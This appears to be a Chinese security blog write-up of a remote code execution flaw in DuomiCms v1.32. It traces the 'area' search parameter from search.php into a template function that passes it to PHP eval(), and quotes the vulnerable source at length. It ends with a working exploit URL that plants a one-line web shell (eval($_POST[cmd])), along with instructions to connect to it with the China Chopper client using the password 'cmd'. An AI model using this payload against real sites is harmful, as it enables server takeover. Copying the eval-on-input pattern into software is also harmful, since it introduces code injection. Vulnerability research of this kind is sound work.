CMS版本 DuomiCms_v1.32

漏洞的初始接口在./search.php文件中,打开该文件

1
2
3
4
5
6
7
8
9
10
11
12
13
foreach($_GET as $k=>$v)
{
$area=str_replace("phpinfo()","",$area);
$jq=str_replace("phpinfo()","",$jq);
$order=str_replace("phpinfo()","",$order);
$year=str_replace("phpinfo()","",$year);
$area=str_replace("'","",$area);
$jq=str_replace("'","",$jq);
$order=str_replace("'","",$order);
$year=str_replace("'","",$year);
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
$schwhere.= "&$k=".urlencode($$k);
}

可以看到文件对变量$area进行了简单的过滤,我们这里主要关注$area变量,跟进变量处理。

下面调用了函数echosearchPage(),我们跟进函数。

找到变量$area我们来到这个地方,第186行

1
$content=$mainClassObj->parseSearchItemList($content,"area");

函数parseSearchItemList()对变量进行了处理,我们跟进这个函数,文件在/duomiphp/core.class.php中。
在这个地方,文件core.class.php是加密的,鄙人不才,解不了密。但是从search.php文件发现一个问题就是,这个文件在很多的影视网站都存在,所以随便找一份影视的源码,定位文件。

经分析,漏洞定位到这段代码,在函数parseIf()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}else{
$elseIfArray=explode($labelRule2,$strThen);
$elseIfArrayLen=count($elseIfArray);
$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
$resultStr=$elseIfSubArray[1];
$elseIfArraystr0=addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
$strElseIf=$this->parseStrIf($strElseIf);
$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content=str_replace($iar[0][$m],$resultStr,$content);
}
}
return $content;
}

$area变量处理到这里,引发了漏洞,定位漏洞代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for($m=0;$mparseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
//漏洞执行处
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}

漏洞发生在这段代码,@eval()函数执行代码.

1
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

变量经处理后到这个地方就直接输出了,我们来我们构造POC

POC: /search.php?searchtype=5&tid=&area=phpinfo()

EXP: /search.php?searchtype=5&tid=&area=eval($_POST[cmd])

直接菜刀连接密码cmd